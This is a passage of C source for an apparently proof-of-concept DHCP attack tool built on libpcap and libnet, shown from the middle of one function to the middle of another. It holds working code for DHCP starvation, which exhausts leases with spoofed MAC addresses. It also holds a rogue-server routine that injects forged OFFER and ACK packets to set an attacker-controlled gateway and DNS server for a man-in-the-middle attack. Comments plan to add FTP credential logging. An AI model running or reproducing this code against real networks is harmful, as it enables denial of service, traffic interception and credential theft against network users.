        if(len < hlen + sizeof(struct udphdr)){
                printf("len = %d, hlen = %d\n", len, hlen);
                exit(1);
        }

        if(ip->ip_p == IPPROTO_UDP){
                hdr = (struct header *) ip;
                return(hdr);
        }

        else {
                printf("not a udp packet\n");
                exit(1);
        }
}

char *next_pcap(int *len)
{
        char *ptr;
        struct pcap_pkthdr hdr;

        while((ptr = (char *) pcap_next(pd, &hdr)) == NULL);
        *len = hdr.caplen;
        return(ptr);
}

void open_pcap(void)
{
        uint32_t localnet, netmask;
        
        char cmd[MAXLINE], errbuf[PCAP_ERRBUF_SIZE];
        struct bpf_program fcode;
        
        if(middle){
                if(verbose) printf("Closing device b4 reopening\n");
                pcap_close(pd);
        }
        
        if(verbose) printf("Trying to open pcap device\n");
        if (device == NULL){
                if((device = pcap_lookupdev(errbuf)) == NULL){
                        printf("pcap_lookup: %s\n", errbuf);
                        exit(1);
                }
        }
        if(verbose)printf("Libpcap device: %s\n", device);

                //hardcode promisc = 1, to_ms = 500
        if((pd = pcap_open_live(device, snaplen, 1, 500, errbuf)) == NULL){
                printf("pcap_open_live: %s\n", errbuf);
                exit(1);
        }

        if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0){
                printf("pcap_lookupnet: %s\n", errbuf);
                exit(1);
        }
        
        if (arpsniff) snprintf(cmd, sizeof(cmd), CMD3); //arpsniff
        if (middle) snprintf(cmd, sizeof(cmd), CMD2, 67, 68); //mitm
        else  snprintf(cmd, sizeof(cmd), CMD, 68); //gobbler
        

        if (pcap_compile(pd, &fcode, cmd, 0, netmask) <0){
                printf("pcap compile: %s", pcap_geterr(pd));
                exit(1);
        }

        if (pcap_setfilter(pd, &fcode) < 0){
                printf("pcap_setfilter: %s", pcap_geterr(pd));
                exit(1);
        }

        if ((datalink = pcap_datalink(pd)) < 0){
                printf("pcap_datalink: %s", pcap_geterr(pd));
                exit(1);
        }
}

void cleanup(int sigio)
{
        if(gob) printf("\nFinished gobbling,  %d IP addresses gobbled...... m000 h4h4h4h4\n", count);
        else printf("\nFinished Man In The Middle Attack\n");
        
        //TO DO drop lease if switch set.... useful on failed mitm's
        exit(0);
}

struct header *gobble(void)
{
        int packet_size, payload_size, packet2_size, payload2_size, packetid, a, b;
        u_long dst_ip = 0;
        u_char *packet, *packet2;
        char err_buf[LIBNET_ERRBUF_SIZE];
        struct libnet_link_int *network;
        struct header *sniffed;
        u_char payload[MAX_PAYLOAD_SIZE];
        u_char payload2[MAX_PAYLOAD_SIZE];
        u_char trans1, trans2, trans3, trans4;
        volatile int nsent = 0, tymeout = 0;

        
        u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
        u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //broadcast mac address
        tymeout = timeout;
        signal(SIGALRM, sig_alrm);
        if(sigsetjmp(jmpbuf, 1)){
                if(nsent >=5){
                        printf("\nNo response....\n");
                        printf("Could mean 1 of 4 things:\n\t\tU have gobbled all the available IP addresses ho hum ho 
hum\n\t\tThere are no DHCP servers on this subnet\n\t\tThe timeout value is too low.... use -t from the command 
line\n\t\tThis programs being crap, retry\n");           
                        cleanup(0);
                        exit(1);
                }
                tymeout *=1.5;
                printf("\nTimed out..... new time out value %d secs\n",tymeout);
                
        }
        canjump = 1;


        if(((libnet_seed_prand()) <0)){
                libnet_error(LIBNET_ERR_FATAL, "Couldn't seed the random generator\n");
        }
        
        enet_src[0] = 0;
        enet_src[1] = libnet_get_prand(PR8); 
        enet_src[2] = libnet_get_prand(PR8);
        enet_src[3] = libnet_get_prand(PR8);
        enet_src[4] = libnet_get_prand(PR8);
        enet_src[5] = libnet_get_prand(PR8);
        packetid = libnet_get_prand(PR16);
        trans1 = libnet_get_prand(PR8);
        trans2 = libnet_get_prand(PR8);
        trans3 = libnet_get_prand(PR8);
        trans3 = libnet_get_prand(PR8);
        trans4 = libnet_get_prand(PR8);

        if(maninthemiddle) printf("Trying to gobble address to be used in man in the middle attack\n");
        else printf("Trying to gobble\n");
        if(!maninthemiddle)printf("Spoofed Ethernet Address: %x %x  %x %x  %x %x\n", enet_src[0], enet_src[1], 
enet_src[2], enet_src[3], enet_src[4], enet_src[5]);
        memset(payload, 0, sizeof(payload));
        
        if (!(dst_ip = libnet_name_resolve("255.255.255.255", LIBNET_RESOLVE))){
                libnet_error(LIBNET_ERR_FATAL, "Bad dest IP: 255.255.255.255\n");
        }
        
        if(netdevice == NULL){
                struct sockaddr_in sin;
                if(libnet_select_device(&sin, &netdevice, err_buf) == -1){
                        libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf);
                }
                if(verbose) printf("Libnet device: %s\n",netdevice);
        }
        
        if((network = libnet_open_link_interface(netdevice, err_buf)) == NULL){
                libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf);
        }
        
        payload[0] = 0x01; //Boot Request
        payload[1] = 0x01; //Hardware Address Type
        payload[2] = 0x06; //Hardware Address Length
        payload[3] = 0x00; //hopcount
        payload[4] = trans1; //Transaction ID
        payload[5] = trans2;
        payload[6] = trans3;
        payload[7] = trans4;
        payload[8] = 0x00; //time elapsed since boot
        payload[9] = 0x00; 
        payload[10] = 0x00; //Broadcast flag n reserved
        payload[11] = 0x00;
        payload[12] = 0x00; //Cli address
        payload[13] = 0x00; 
        payload[14] = 0x00;
        payload[15] = 0x00;
        payload[16] = 0x00; //Your client IP
        payload[17] = 0x00;
        payload[18] = 0x00;
        payload[19] = 0x00;
        payload[20] = 0x00; //Address of next Server
        payload[21] = 0x00;
        payload[22] = 0x00;
        payload[23] = 0x00;
        payload[24] = 0x00; //relay agents IP//Client MAC address
        payload[25] = 0x00;
        payload[26] = 0x00;
        payload[27] = 0x00;
        payload[28] = enet_src[0]; //Client MAC Address
        payload[29] = enet_src[1];
        payload[30] = enet_src[2];      
        payload[31] = enet_src[3];
        payload[32] = enet_src[4];
        payload[33] = enet_src[5];
        payload[34] = 0x00;//remaining client MAC address (if not ethernet)
        payload[35] = 0x00;
        payload[36] = 0x00;
        payload[37] = 0x00;
        payload[38] = 0x00;
        payload[39] = 0x00;
        payload[40] = 0x00;
        payload[41] = 0x00;
        payload[42] = 0x00;
        payload[43] = 0x00;
                    //room for boot file name and server host name
        
        payload[236] = 0x63; //magic cookie
        payload[237] = 0x82;
        payload[238] = 0x53;
        payload[239] = 0x63;
        payload[240] = 0x35; //message type option
        payload[241] = 0x01; //length of message type option
        payload[242] = 0x01; //discover
        //specify longer renew + re sumut

        payload_size = 300; //lame
        packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size;

        if(libnet_init_packet(packet_size, &packet) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
        }

        libnet_build_ethernet(
                        enet_dst,
                        enet_src,
                        ETHERTYPE_IP,
                        NULL,
                        0,
                        packet);
        
        libnet_build_ip(LIBNET_UDP_H + payload_size,
                        0,
                        packetid,
                        0,
                        64,
                        IPPROTO_UDP,
                        0, //source IP 0.0.0.0
                        dst_ip, //255.255.255.255
                        NULL,
                        0,
                        packet + LIBNET_ETH_H);

        libnet_build_udp(68,
                        67,
                        payload,
                        payload_size,
                        packet + LIBNET_ETH_H + LIBNET_IP_H);
        
        if(libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        if(libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        

        a = libnet_write_link_layer(network, netdevice, packet, packet_size);
        if(a<packet_size){
                libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", a);
        }
        else{
                printf("DHCP Discover packet constructed and injected, wrote all %d bytes\n", a);
        }

        nsent++;

        //free memory
        libnet_destroy_packet(&packet); 

        alarm(tymeout);
        offerit = 1;
                sniffed = opensniff(trans1, trans2, trans3, trans4);
canjump = 0;
        alarm(0);

        memset(payload2, 0, sizeof(payload2));

        payload2[0] = 0x01; //Boot Request
        payload2[1] = 0x01; //Hardware Address Type
        payload2[2] = 0x06; //Hardware Address Length
        payload2[3] = 0x00; //hopcount
        payload2[4] = trans1; //Transaction ID
        payload2[5] = trans2;
        payload2[6] = trans3;
        payload2[7] = trans4;
        payload2[8] = 0x00; //time elapsed since boot
        payload2[9] = 0x00; 
        payload2[10] = 0x00; //Broadcast flag n reserved
        payload2[11] = 0x00;
        payload2[12] = 0x00; //Cli address
        payload2[13] = 0x00; 
        payload2[14] = 0x00;
        payload2[15] = 0x00;
        payload2[16] = 0x00; //Your client IP
        payload2[17] = 0x00;
        payload2[18] = 0x00;
        payload2[19] = 0x00;
        payload2[20] = 0x00; //Address of next Server
        payload2[21] = 0x00;
        payload2[22] = 0x00;
        payload2[23] = 0x00;
        payload2[24] = 0x00; //relay agents IP
        payload2[25] = 0x00;
        payload2[26] = 0x00;
        payload2[27] = 0x00;
        payload2[28] = enet_src[0]; //Client MAC Address
        payload2[29] = enet_src[1];
        payload2[30] = enet_src[2];     
        payload2[31] = enet_src[3];
        payload2[32] = enet_src[4];
        payload2[33] = enet_src[5];
        payload2[34] = 0x00;//remaining client MAC address (if not ethernet)
        payload2[35] = 0x00;
        payload2[36] = 0x00;
        payload2[37] = 0x00;
        payload2[38] = 0x00;
        payload2[39] = 0x00;
        payload2[40] = 0x00;
        payload2[41] = 0x00;
        payload2[42] = 0x00;
        payload2[43] = 0x00;
                            //room for boot file name and server host name
        
        payload2[236] = 0x63; //magic cookie
        payload2[237] = 0x82;
        payload2[238] = 0x53;
        payload2[239] = 0x63;
        
        payload2[240] = 0x35; //message type option
        payload2[241] = 0x01; //length of message type option
        payload2[242] = 0x03; //request

        payload2[243] = 0x32; //request IP address option
        payload2[244] = 0x04; //length
        payload2[245] = sniffed->buf[16];
        payload2[246] = sniffed->buf[17];
        payload2[247] = sniffed->buf[18];
        payload2[248] = sniffed->buf[19];

        payload2[249] = 0x36; //Server ID
        payload2[250] = 0x04; //length
        payload2[251] = sniffed->buf[20];
        payload2[252] = sniffed->buf[21];
        payload2[253] = sniffed->buf[22];
        payload2[254] = sniffed->buf[23];

        payload2[255] = 0x37; //request parameters
        payload2[256] = 0x02; //length
        payload2[257] = 0x01;
        payload2[258] = 0x03;
        payload2[259] = 0xff;

        payload2_size = 300;
        packet2_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload2_size;

        if(libnet_init_packet(packet2_size, &packet2) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
        }

        libnet_build_ethernet(
                        enet_dst,
                        enet_src,
                        ETHERTYPE_IP,
                        NULL,
                        0,
                        packet2);
        
        libnet_build_ip(LIBNET_UDP_H + payload2_size,
                        0,
                        packetid+1,
                        0,
                        64,
                        IPPROTO_UDP,
                        0, //source
                        dst_ip,
                        NULL,
                        0,
                        packet2 + LIBNET_ETH_H);

        libnet_build_udp(68,
                        67,
                        payload2,
                        payload2_size,
                        packet2 + LIBNET_ETH_H + LIBNET_IP_H);
        
        if(libnet_do_checksum(packet2 + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        if(libnet_do_checksum(packet2 + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload2_size) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        
        
        b = libnet_write_link_layer(network, netdevice, packet2, packet2_size);
        if(b<packet2_size){
                libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", b);
        }
        else{
                printf("DHCP request packet constructed and injected, wrote all %d bytes\n", b);
        }
        
        //close interface incase it screws the sniffer
        if(libnet_close_link_interface(network) == -1){
                libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface");
        }

        //free memory
        libnet_destroy_packet(&packet2); 
        offerit = 0;
        nackit = 0;
        requestit = 0;
        ackit = 1;
        sniffed = opensniff(trans1, trans2, trans3, trans4);
        //printf("Gobbling %d.%d.%d.%d..... total: 
%d\n\n",convert8(sniffed->buf,16),convert8(sniffed->buf,17),convert8(sniffed->buf,18),convert8(sniffed->buf,19),count);
        //still need to check for ACK to make sure
        return(sniffed);
}
        
void mitm(void)
{
        register int a;
        struct header *head; //used in inital gobble
        
        signal(SIGTERM, cleanup);
        signal(SIGINT, cleanup);
        signal(SIGHUP, cleanup);

        
        printf("Man the middle attack\n\n");
        
        if(!nonewips){
                bzero(&gips, sizeof(gips));
                for(a=0; (a < (maninthemiddle)); a++){
                        bzero(&head, sizeof(head));
                        sleep(1.5);
                        gipnum = 0;
                        head = gobble();
                        gips[a].address[0] = convert8(head->buf,16);
                        gips[a].address[1] = convert8(head->buf,17);
                        gips[a].address[2] = convert8(head->buf,18);
                        gips[a].address[3] = convert8(head->buf,19);
                }
        }
        
        for(a=0; ( a< (maninthemiddle)); a++){
                printf("Address(es) to be spoofed %d.%d.%d.%d\n", gips[a].address[0], gips[a].address[1], 
gips[a].address[2], gips[a].address[3]);
        }
        if((nonewips) && (gipnum < maninthemiddle)) gipnum++; //used to cycle through gobbled ips
        
        bzero(&head, sizeof(head));
        middle = 1;

        printf("Sniffing for discover messages\n");
        head = opensniff(0,0,0,0);
        sniffedattack(head);
        exit(0);
}

void sniffedattack(struct header *heada)
{
        int packet_size, payload_size, packetid, a;
        register int  z;
        u_long dst_ip = 0;
        //u_long src_ip = 0;
        u_char *packet;
        char err_buf[LIBNET_ERRBUF_SIZE];
        struct libnet_link_int *network;
        struct header *sniffed;
        struct header *sniffed2;
        u_char payload[MAX_PAYLOAD_SIZE];
        volatile int nsent = 0, tymeout = 0;
        int go;
        unsigned char *gateip;
        unsigned char *dnsip;
        unsigned char *fakedhcpip;
        
        u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; //use 0's as mac address :)
        u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //broadcast mac address
        //sort out randoms
        if(!samemac){
                enet_src[0] = 0; //random source mac
                enet_src[1] = libnet_get_prand(PR8); //first 2 set to 0 as specifed in rfc
                enet_src[2] = libnet_get_prand(PR8);
                enet_src[3] = libnet_get_prand(PR8);
                enet_src[4] = libnet_get_prand(PR8);
                enet_src[5] = libnet_get_prand(PR8);
                packetid = libnet_get_prand(PR16); //rand packet id
                storedpackid = packetid;
                for(z=0; z<sizeof(enet_src); z++){
                        storedmac[z] = enet_src[z];
                }
        }
        samemac = 1;
        packetid++;
        tymeout = 10;//timeout;
        middle = 0;
        offerit = 0;
        
        printf("Time to do the dirty work\n");
        signal(SIGALRM, sig_alrm);
        
        if(sigsetjmp(jmpbuf, 1)){
                if(nsent >=1){
                        printf("\nNo response....\n");
                        printf("Could mean a couple of things:\n\t\tThe clients decided to use a different DHCP 
server.... damn\n\t\tThe timeout value is may be too small.... use -t\n");              
                        cleanup(0);
                        exit(1);
                }
                //tymeout *=2;
                printf("\nTimed out..... new timeout value %d secs\n",tymeout);
                
        }
        canjump = 1;

        memset(payload, 0, sizeof(payload));
        if (!(dst_ip = libnet_name_resolve("255.255.255.255", LIBNET_RESOLVE))){
                libnet_error(LIBNET_ERR_FATAL, "Bad dest IP: 255.255.255.255\n");
        }

/*      if (!(src_ip = libnet_name_resolve("192.168.3.4", LIBNET_RESOLVE))){
                libnet_error(LIBNET_ERR_FATAL, "Bad dest IP: 255.255.255.255\n");
        }*/
        
        //src ip is 0.0.0.0
        if(netdevice == NULL){
                struct sockaddr_in sin;
                if(libnet_select_device(&sin, &netdevice, err_buf) == -1){
                        libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf);
                }
                if(verbose) printf("Libnet device: %s\n",netdevice);
        }
        
        if((network = libnet_open_link_interface(netdevice, err_buf)) == NULL){
                libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf);
        }

        payload[0] = 0x02; //Boot Reply
        payload[1] = 0x01; //Hardware Address Type
        payload[2] = 0x06; //Hardware Address Length
        payload[3] = 0x00; //hopcount
        payload[4] = heada->buf[4]; //Transaction ID from client
        payload[5] = heada->buf[5];
        payload[6] = heada->buf[6];
        payload[7] = heada->buf[7];
        payload[8] = 0x00; //time elapsed since boot
        payload[9] = 0x00; 
        payload[10] = 0x00; //Broadcast flag n reserved
        payload[11] = 0x00;
        payload[12] = 0x00; //Cli address
        payload[13] = 0x00; // 
        payload[14] = 0x00; //
        payload[15] = 0x00; //
        payload[16] = gips[gipnum].address[0]; //offered IP
        payload[17] = gips[gipnum].address[1];
        payload[18] = gips[gipnum].address[2];
        payload[19] = gips[gipnum].address[3];

        sentipa = payload[16];
        sentipb = payload[17];
        sentipc = payload[18];
        sentipd = payload[19];
        
/*      payload[20] = sniffedofferheader.buf[20]; //Address of next Server
        payload[21] = sniffedofferheader.buf[21]; //need to sort
        payload[22] = sniffedofferheader.buf[22];
        payload[23] = sniffedofferheader.buf[23];       
*/      
        fakedhcpip = (unsigned char *) &fakedhcp.s_addr;
        payload[20] = 0x00;//fakedhcpip[0]; //Address of next Server
        payload[21] = 0x00;//fakedhcpip[1];//0xa8;
        payload[22] = 0x00;//fakedhcpip[2];//0x03;
        payload[23] = 0x00;//fakedhcpip[3];//0x04;

        payload[24] = 0x00; //relay agents IP
        payload[25] = 0x00;
        payload[26] = 0x00;
        payload[27] = 0x00;
        payload[28] = heada->buf[28]; //Client MAC Address
        payload[29] = heada->buf[29];
        payload[30] = heada->buf[30];   
        payload[31] = heada->buf[31];
        payload[32] = heada->buf[32];
        payload[33] = heada->buf[33];
        payload[34] = 0x00;//remaining client MAC address (if not ethernet)
        payload[35] = 0x00;//still need to sort
        payload[36] = 0x00;
        payload[37] = 0x00;
        payload[38] = 0x00;
        payload[39] = 0x00;
        payload[40] = 0x00;
        payload[41] = 0x00;
        payload[42] = 0x00;
        payload[43] = 0x00;
                    //room for boot file name and server host name
        
        payload[236] = 0x63; //magic cookie
        payload[237] = 0x82;
        payload[238] = 0x53;
        payload[239] = 0x63;
        payload[240] = 0x35; //message type option
        payload[241] = 0x01; //length of message type option
        payload[242] = 0x02; //offer

        //need to sort for auto fill
        payload[243] = 0x01; //subnet option
        payload[244] = 0x04; //length of subnet address
        payload[245] = subneta; //0xff; //255
        payload[246] = subnetb; //255
        payload[247] = subnetc; //255
        payload[248] = subnetd; //0
        
        payload[249] = 0x33; //Lease time option
        payload[250] = 0x04; //length of lease time option
        payload[251] = leasea; //0x00;
        payload[252] = leaseb; //0x0a;
        payload[253] = leasec; //0x8c;
        payload[254] = leased; //0x00;
        
        payload[255] = 0x36; //DHCP server IP address option
        payload[256] = 0x04; //length of option
        payload[257] = fakedhcpip[0];//0xC0; //need to sort
        payload[258] = fakedhcpip[1];//0xa8;
        payload[259] = fakedhcpip[2];//0x03;
        payload[260] = fakedhcpip[3];//0x04;

        payload[261] = 0x3a; //Renewal time t1
        payload[262] = 0x04; //length of  time option
        payload[263] = renewala; //0x00; //time
        payload[264] = renewalb; //0x09;
        payload[265] = renewalc; //0x3A;
        payload[266] = renewald; //0x80;

        payload[267] = 0x3b; //rebinding time t2
        payload[268] = 0x04; //length of time t2 option
        payload[269] = rebinda; //0x00; //time
        payload[270] = rebindb; //0x0a;
        payload[271] = rebindc; //0x8c;
        payload[272] = rebindd; //0x00;

        gateip = (unsigned char *) &gateway.s_addr;
        payload[273] = 0x03; //router option i.e. default gateway
        payload[274] = 0x04; //length
/*      payload[275] = gatewaya; //0xc0; //192
        payload[276] = gatewayb; //0xa8; //168
        payload[277] = gatewayc; //0x03;
        payload[278] = gatewayd; //0x02; */
        payload[275] = gateip[0];
        payload[276] = gateip[1];
        payload[277] = gateip[2];
        payload[278] = gateip[3];
        
        dnsip = (unsigned char *) &dns.s_addr;
        payload[279] = 0x06; //domain name server IP option ne
        payload[280] = 0x04; //length
/*      payload[281] = dnsa; //0xc0; //192
        payload[282] = dnsb; //0xa8; //168
        payload[283] = dnsc; //0x03; //need to sort our DNS forwarder
        payload[284] = dnsd; //0x02; */
        payload[281] = dnsip[0];
        payload[282] = dnsip[1];
        payload[283] = dnsip[2];
        payload[284] = dnsip[3];
        payload[285] = 0xff; //end of domain name list need to add normal DNS
        
        
        payload_size = 300;//300 originlly
        //need to specify default gate way as this machine

        packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size;

        if(libnet_init_packet(packet_size, &packet) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
        }

        libnet_build_ethernet(
                        enet_dst,
                        storedmac,
                        ETHERTYPE_IP,
                        NULL,
                        0,
                        packet);
        
        libnet_build_ip(LIBNET_UDP_H + payload_size,
                        0,
                        storedpackid,
                        0,
                        64,
                        IPPROTO_UDP,
                        0, //source IP 0.0.0.0
                        dst_ip, //255.255.255.255
                        NULL,
                        0,
                        packet + LIBNET_ETH_H);

        libnet_build_udp(67,
                        68,
                        payload,
                        payload_size,
                        packet + LIBNET_ETH_H + LIBNET_IP_H);
        
        if(libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        if(libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        

        a = libnet_write_link_layer(network, netdevice, packet, packet_size);
        if(a<packet_size){
                libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", a);
        }
        else{
                printf("DHCP Offer packet constructed and injected, wrote all %d bytes\n", a);
        }

        nsent++;

        //free memory
        libnet_destroy_packet(&packet); 

        alarm(tymeout);
        requestit = 1;
        middle = 1;
        offerit = 0;
        sniffed = opensniff(heada->buf[4], heada->buf[5], heada->buf[6], heada->buf[7]);
        canjump = 0;
        alarm(0);
        printf("Creating an Ack packet\n\n");
        storedpackid++;
        
        memset(payload, 0, sizeof(payload));
        payload[0] = 0x02; //Boot Reply
        payload[1] = 0x01; //Hardware Address Type
        payload[2] = 0x06; //Hardware Address Length
        payload[3] = 0x00; //hopcount
        payload[4] = sniffed->buf[4]; //Transaction ID from client
        payload[5] = sniffed->buf[5];
        payload[6] = sniffed->buf[6];
        payload[7] = sniffed->buf[7];
        payload[8] = 0x00; //time elapsed since boot
        payload[9] = 0x00; 
        payload[10] = 0x00; //Broadcast flag n reserved
        payload[11] = 0x00;
        payload[12] = 0x00; //Cli address
        payload[13] = 0x00; 
        payload[14] = 0x00; 
        payload[15] = 0x00; 
        payload[16] = gips[0].address[0]; //offer IP
        payload[17] = gips[0].address[1];
        payload[18] = gips[0].address[2];
        payload[19] = gips[0].address[3];

        sentipa = payload[16];
        sentipb = payload[17];
        sentipc = payload[18];
        sentipd = payload[19];
        
        payload[20] = 0x00; //Address of next Server
        payload[21] = 0x00; //need to sort possible use snifferofferheader
        payload[22] = 0x00;
        payload[23] = 0x00;

        payload[24] = 0x00; //relay agents IP
        payload[25] = 0x00;
        payload[26] = 0x00;
        payload[27] = 0x00;
        payload[28] = sniffed->buf[28]; //Client MAC Address
        payload[29] = sniffed->buf[29];
        payload[30] = sniffed->buf[30];         
        payload[31] = sniffed->buf[31];
        payload[32] = sniffed->buf[32];
        payload[33] = sniffed->buf[33];
        payload[34] = 0x00;//remaining client MAC address (if not ethernet)
        payload[35] = 0x00;//still need to sort
        payload[36] = 0x00;
        payload[37] = 0x00;
        payload[38] = 0x00;
        payload[39] = 0x00;
        payload[40] = 0x00;
        payload[41] = 0x00;
        payload[42] = 0x00;
        payload[43] = 0x00;
                    //room for boot file name and server host name
                    //
        payload[236] = 0x63; //magic cookie
        payload[237] = 0x82;
        payload[238] = 0x53;
        payload[239] = 0x63;
        payload[240] = 0x35; //message type option
        payload[241] = 0x01; //length of message type option
        payload[242] = 0x05; //ack

        payload[243] = 0x01; //subnet option
        payload[244] = 0x04; //length of subnet address
        payload[245] = subneta; 
        payload[246] = subnetb;
        payload[247] = subnetc;
        payload[248] = subnetd; 
        
        payload[249] = 0x33; //Lease time option
        payload[250] = 0x04; //length of lease time option
        payload[251] = leasea; //0x00;
        payload[252] = leaseb; //0x0a;
        payload[253] = leasec; //0x8c;
        payload[254] = leased; //0x00;
        
        payload[255] = 0x36; //DHCP server IP address option
        payload[256] = 0x04; //length of option
        payload[257] = fakedhcpip[0];//0xC0; //sort out spoofing real DHCP server IP
        payload[258] = fakedhcpip[1];//0xa8;
        payload[259] = fakedhcpip[2];//0x03;
        payload[260] = fakedhcpip[3];//0x04;

        payload[261] = 0x3a; //Renewal time t1
        payload[262] = 0x04; //length of  time option
        payload[263] = leasea; //0x00; //time
        payload[264] = leaseb; //0x09;
        payload[265] = leasec; //0x3A;
        payload[266] = leased; //0x80;

        payload[267] = 0x3b; //rebinding time t2
        payload[268] = 0x04; //length of time t2 option
        payload[269] = rebinda; //time
        payload[270] = rebindb;
        payload[271] = rebindc;
        payload[272] = rebindd;
        
        payload[273] = 0x03; //router option default gateway
        payload[274] = 0x04; //length
        payload[275] = gateip[0]; 
        payload[276] = gateip[1]; 
        payload[277] = gateip[2];
        payload[278] = gateip[3];

        payload[279] = 0x06; //domain name server IP option
        payload[280] = 0x04; //length
        payload[281] = dnsip[0]; 
        payload[282] = dnsip[1]; 
        payload[283] = dnsip[2]; 
        payload[284] = dnsip[3]; 
        payload[285] = 0xff; //end of domain name list need to add normal DNS
                
        payload_size = 300;//300 originlly
        
        packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size;

        if(libnet_init_packet(packet_size, &packet) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
        }

        libnet_build_ethernet(
                        enet_dst,
                        storedmac,
                        ETHERTYPE_IP,
                        NULL,
                        0,
                        packet);
        
        libnet_build_ip(LIBNET_UDP_H + payload_size,
                        0,
                        storedpackid,
                        0,
                        64,
                        IPPROTO_UDP,
                        0,//src_ip or 0
                        dst_ip, //255.255.255.255
                        NULL,
                        0,
                        packet + LIBNET_ETH_H);

        libnet_build_udp(67,
                        68,
                        payload,
                        payload_size,
                        packet + LIBNET_ETH_H + LIBNET_IP_H);
        
        if(libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        if(libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1){
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
        }
        
        a = libnet_write_link_layer(network, netdevice, packet, packet_size);
        if(a<packet_size){
                libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", a);
        }
        else{
                printf("DHCP ACK packet constructed and injected, wrote all %d bytes\n", a);
        }

        //free memory
        libnet_destroy_packet(&packet); 
 
        printf("Man in the middle should be established m00 m4m4m4m4\n\n Just checking incase of other servers weren't 
happy (waiting for 10 seconds)\n\n");
        
        nackit = 1;
        canjump = 0;
        go = 0;
        tymeout = 10;
        signal(SIGALRM, sig_alrm);
        if(sigsetjmp(jmpbuf, 1)){
                if(nsent >=1){
                        printf("\nNo response....\n");
                        printf("A one way man in the middle attack established w00p w00p\n");
                        canjump = 0;
                        alarm(0);
                        go = 1;
                }
        }
        canjump = 1;
        nsent++;

        //free memory
        libnet_destroy_packet(&packet); 

        alarm(tymeout);
        offerit = 1;
        if(go == 1) {
                alarm(0);
                trickery();
        }
        else {
                sniffed2 = opensniff(sniffed->buf[4], sniffed->buf[5], sniffed->buf[6], sniffed->buf[7]);
                printf("Shit we have to restart the attack\n\n");       
                exit(0);
        }
}
        
void trickery()
{
//need to start sniffer for dest mac + source IP of the one dished out.
//Arp replys required + changing dest mac address to the one of default routers.
//need to find default routers mac address 
//we get default gateway IP from the gobbled IP's if not no default gateway.... 
//do arp request on default gateway before start sniffing for requests
//on certain packets ie port 21 log username and password
//look at ettercap / etherpeek

        printf("The trickery would starts here if coded (i did say it was proof of concept) :)\n\n\n");
//      printf("The default gateway and DNS server will have been set to the
        //getgatewaymac();
        exit(0);
}

unsigned short in_chksum(unsigned short *pts, int nbytes)
{
        register long sum;
        u_short oddbyte;
        register u_short answer;

        sum = 0;
        while(nbytes > 1){
                sum += *pts++;
                nbytes -=2;
        }

        if(nbytes == 1){
                oddbyte = 0;
                *((u_char *) &oddbyte) = *(u_char *)pts;
                sum += oddbyte;
        }

        sum = (sum >> 16) + (sum &0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
}

void getgatewaymac()
{
        int n;
        u_char *buf;
        char errbuf[256];
        struct libnet_link_int *l;
        u_char enet_src[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
        u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
        u_char ip_src[4] = {0xff, 0xff, 0xff, 0xff};
//      u_char ip_dst[4] = {gatewaya, gatewayb, gatewayc, gatewayd};
        u_char ip_dst[4] = {0xc0, 0xa8, 0x03, 0x01};
        
        printf("Trying to get Gateways MAC address......\n");
        l = libnet_open_link_interface(netdevice, errbuf);
        if (!l) {
                printf("Libnet_open_link_interface: %s\n", errbuf);
                exit(1);
        }
        
        if(libnet_init_packet(LIBNET_ARP_H + LIBNET_ETH_H, &buf) == -1)
        {
                printf("Libnet_init_packet memory error\n");
                exit(1);
        }

